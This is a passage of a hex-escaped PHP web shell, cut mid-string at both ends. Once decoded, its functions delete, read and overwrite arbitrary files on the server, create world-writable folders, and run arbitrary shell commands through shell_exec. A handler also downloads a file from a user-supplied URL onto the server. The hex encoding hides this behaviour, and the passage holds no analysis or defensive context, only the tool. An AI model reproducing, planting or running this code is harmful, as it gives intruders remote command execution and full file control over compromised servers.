64\x65\x72\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x3E\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x62\x72\x3E\x22\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x61\x64\x64\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x20\x3D\x20\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x20\x3F\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x5D\x20\x3A\x20\x27\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\x65\x6D\x70\x74\x79\x28\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6D\x6B\x64\x69\x72\x28\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x2C\x20\x30\x37\x37\x37\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x63\x72\x65\x61\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x63\x72\x65\x61\x74\x65\x20\x66\x6F\x6C\x64\x65\x72\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x6E\x61\x6D\x65\x20\x63\x61\x6E\x6E\x6F\x74\x20\x62\x65\x20\x65\x6D\x70\x74\x79\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x64\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x54\x6F\x44\x65\x6C\x65\x74\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x75\x6E\x6C\x69\x6E\x6B\x28\x24\x66\x69\x6C\x65\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x64\x65\x6C\x65\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x64\x65\x6C\x65\x74\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x2F\x2F\x20\x48\x61\x6E\x64\x6C\x65\x20\x65\x64\x69\x74\x20\x66\x69\x6C\x65\x20\x72\x65\x71\x75\x65\x73\x74\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x65\x64\x69\x74\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x6F\x70\x65\x6E\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x6F\x70\x65\x6E\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x65\x64\x69\x74\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x65\x64\x69\x74\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x2C\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x65\x64\x69\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x65\x64\x69\x74\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x20\x2F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x61\x62\x6C\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x6E\x61\x6D\x65\x3D\x22\x65\x64\x69\x74\x22\x3E\x27\x2E\x68\x74\x6D\x6C\x73\x70\x65\x63\x69\x61\x6C\x63\x68\x61\x72\x73\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x29\x29\x2E\x27\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x73\x61\x76\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x53\x61\x76\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x20\x7B\x0A\x20\x20\x20\x20\x2F\x2F\x20\x4A\x61\x6C\x61\x6E\x6B\x61\x6E\x20\x70\x65\x72\x69\x6E\x74\x61\x68\x20\x73\x68\x65\x6C\x6C\x0A\x20\x20\x20\x20\x24\x6F\x75\x74\x70\x75\x74\x20\x3D\x20\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x54\x61\x6D\x70\x69\x6C\x6B\x61\x6E\x20\x68\x61\x73\x69\x6C\x6E\x79\x61\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x73\x74\x79\x6C\x65\x3D\x27\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x32\x30\x30\x70\x78\x3B\x27\x3E\x24\x6F\x75\x74\x70\x75\x74\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x22\x3B\x0A\x7D\x0A\x0A\x24\x64\x69\x72\x20\x3D\x20\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x69\x72\x27\x5D\x29\x20\x3F\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x69\x72\x27\x5D\x20\x3A\x20\x67\x65\x74\x63\x77\x64\x28\x29\x3B\x0A\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x70\x6C\x6F\x61\x64\x75\x72\x6C\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x75\x72\x6C\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x72\x6C\x27\x5D\x3B\x0A\x20\x20\x20\x20\x75\x70\x6C\x6F\x61\x64\x46\x69\x6C\x65\x46\x72\x6F\x6D\x55\x72\x6C\x28\x24\x75\x72\x6C\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x7D\x0A\x3F\x3E\x0A\x0A\x3C\x21\x44\x4F\x43\x54\x59\x50\x45\x20\x68\x74\x6D\x6C\x3E\x0A\x3C\x68\x74\x6D\x6C\x20\x6C\x61\x6E\x67\x3D\x22\x65\x6E\x22\x3E\x0A\x3C\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x22\x55\x54\x46\x2D\x38\x22\x3E\x0A\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x6E\x61\x6D\x65\x3D\x22\x76\x69\x65\x77\x70\x6F\x72\x74\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x77\x69\x64\x74\x68\x3D\x64\x65\x76\x69\x63\x65\x2D\x77\x69\x64\x74\x68\x2C\x20\x69\x6E\x69\x74\x69\x61\x6C\x2D\x73\x63\x61\x6C\x65\x3D\x31\x2E\x30\x22\x3E\x0A\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x3E\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x68\x6F\x73\x74\x20\x2E\x20\x22\x20\x2D\x20\x22\x20\x2E\x20\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x3B\x20\x3F\x3E\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0A\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x64\x79\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x69\x6D\x61\x67\x65\x3A\x20\x75\x72\x6C\x28\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x2E\x69\x62\x62\x2E\x63\x6F\x2F\x48\x67\x50\x36\x4D\x50\x63\x2F\x32\x34\x39\x30\x33\x65\x39\x35\x30\x61\x30\x62\x66\x64\x65\x36\x62\x33\x65\x31\x32\x36\x31\x32\x32\x36\x65\x39\x65\x63\x66\x30\x64\x37\x37\x32\x62\x37\x33\x64\x2D\x72\x65\x6D\x6F\x76\x65\x62\x67\x2D\x70\x72\x65\x76\x69\x65\x77\x2D\x31\x2E\x70\x6E\x67\x27\x29\x3B\x20\x2F\x2A\x20\x47\x61\x6E\x74\x69\x20\x70\x61\x74\x68\x2F\x74\x6F\x2F\x79\x6F\x75\x72\x2F\x69\x6D\x61\x67\x65\x2E\x6A\x70\x67\x20\x64\x65\x6E\x67\x61\x6E\x20\x70\x61\x74\x68\x20\x67\x61\x6D\x62\x61\x72\x20\x41\x6E\x64\x61\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x73\x69\x7A\x65\x3A\x20\x63\x6F\x76\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x72\x65\x70\x65\x61\x74\x3A\x20\x6E\x6F\x2D\x72\x65\x70\x65\x61\x74\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x62\x6C\x61\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x6E\x74\x2D\x66\x61\x6D\x69\x6C\x79\x3A\x20\x41\x72\x69\x61\x6C\x2C\x20\x73\x61\x6E\x73\x2D\x73\x65\x72\x69\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x3A\x20\x30\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x30\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x78\x2D\x77\x69\x64\x74\x68\x3A\x20\x31\x35\x30\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x3A\x20\x32\x30\x70\x78\x20\x61\x75\x74\x6F\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x32\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x72\x67\x62\x61\x28\x30\x2C\x20\x30\x2C\x20\x30\x2C\x20\x30\x2E\x35\x29\x3B\x20\x2F\x2A\x20\x4C\x61\x74\x61\x72\x20\x62\x65\x6C\x61\x6B\x61\x6E\x67\x20\x68\x69\x74\x61\x6D\x20\x64\x65\x6E\x67\x61\x6E\x20\x35\x30\x25\x20\x74\x72\x61\x6E\x73\x70\x61\x72\x61\x6E\x73\x69\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x38\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x32\x70\x78\x20\x34\x70\x78\x20\x72\x67\x62\x61\x28\x30\x2C\x20\x30\x2C\x20\x30\x2C\x20\x30\x2E\x31\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x68\x31\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x33\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x61\x62\x6C\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x63\x6F\x6C\x6C\x61\x70\x73\x65\x3A\x20\x63\x6F\x6C\x6C\x61\x70\x73\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x32\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x2C\x20\x74\x64\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x64\x64\x64\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x6C\x65\x66\x74\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x32\x66\x32\x66\x32\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x30\x30\x37\x62\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x30\x30\x35\x36\x62\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x31\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x65\x38\x66\x30\x30\x32\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x31\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x32\x31\x38\x38\x33\x38\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x32\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x64\x63\x33\x35\x34\x35\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x2